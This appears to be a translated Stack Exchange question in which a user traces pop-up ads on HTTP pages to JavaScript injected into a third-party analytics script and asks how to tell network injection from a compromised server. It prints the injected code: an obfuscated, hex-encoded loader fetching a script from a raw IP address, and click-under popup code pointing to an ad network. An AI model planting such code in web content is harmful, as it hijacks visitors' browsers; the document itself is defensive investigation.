Recientemente, he descubierto un problema bastante molesto: cada primer clic que tengo en cualquier sitio de Stack Exchange crea un anuncio emergente. Esto sucede en mi computadora de escritorio, computadora portátil, teléfono e incluso una máquina virtual. Llegué a la conclusión de que esta es la nueva función de anuncios de Stack Exchange y me quejé en meta.stackexchange ...... hasta que descubrí que era la única persona afectada por esto.
Sin querer creer que he sido tan descuidado para permitir que un virus ingrese a mi computadora (y por el ego de ser un "experto en seguridad" en mi empresa), continué investigando la causa raíz. Observé:
- Esto solo afecta a los sitios de Stack Exchange.
- Esto es reproducible en 4 dispositivos: computadora de escritorio, computadora portátil, teléfono y máquina virtual.
- El problema no ocurre si navego por https.
Esto me llevó a pensar que este es un problema de red: alguien inyectó JavaScript malicioso en algún lugar del documento HTML mientras se transporta como texto sin cifrar en HTTP. Después de aproximadamente 30 minutos de captura y análisis de tráfico de red, encontré que esta parte del código se encuentra en la parte inferior de cualquier página de Intercambio de pila:
(function () {
var ssl='https:'==document.location.protocol,
s=document.getElementsByTagName('script')[0],
qc=document.createElement('script');
qc.async = true;
qc.src = (ssl ? 'https://secure' : 'http://edge') + '.quantserve.com/quant.js';
s.parentNode.insertBefore(qc, s);
_qevents.push({ qacct: "p-c1rF4kxgLUzNc" });
var sc=document.createElement('script');
sc.async=true;
sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
s.parentNode.insertBefore(sc, s);
_comscore.push({ c1: "2", c2: "17440561" });
})();
inicia la carga de JavaScript malicioso en mi navegador.
Si beacon.js
se carga a través de HTTPS, es un excelente JavaScript minificado de una línea. Pero si se carga a través de HTTP, se agrega una segunda línea:
!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();
que es una forma confusa de cargar http://103.16.230.165/stats/XCQ67
, que contiene:
function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;
Ahora, no es de extrañar que estuviera viendo anuncios.
La pregunta es la implicación de este hallazgo. Veo algunas posibilidades aquí:
- Alguien cerca de mi red está olfateando paquetes HTTP e inyectando contenido malicioso en ellos. Debería cambiar todo a HTTPS siempre que sea posible (Nunca ingrese credenciales o números de tarjetas de crédito en HTTP, pero debo llevar esto un paso más allá)
- Mi enrutador ASUS ha sido infectado. (Un autor de virus sensible infectaría todas las páginas que visito, no solo un sitio en particular)
- Hay un dispositivo infectado en mi intranet. (apago todo y probé un dispositivo a la vez, todavía sucede, por lo que la única posibilidad es el enrutador).
-
scorecardresearch.com
usa el geo-cast para acelerar su red. Uno de sus servidores host está infectado. (lo que explicaría por qué no todos lo ven) -
scorecardresearch.com
es malicioso. De alguna manera, los servidores (o la red) de Stack Exchange están infectados; Stack Exchange nunca tuvo la intención de incluirscorecardresearch.com
en sus scripts.
Por el momento he bloqueado scorecardresearch.com
.
Mi mejor estimación (4): uno de los servidores de scorecardresearch.com
está infectado. Sin embargo las consecuencias de (1) son severas. También explicaría por qué no todos están afectados. ¿Cómo puedo distinguir más (1) y (4)?
¿He omitido algo o debería haber hecho para protegerme?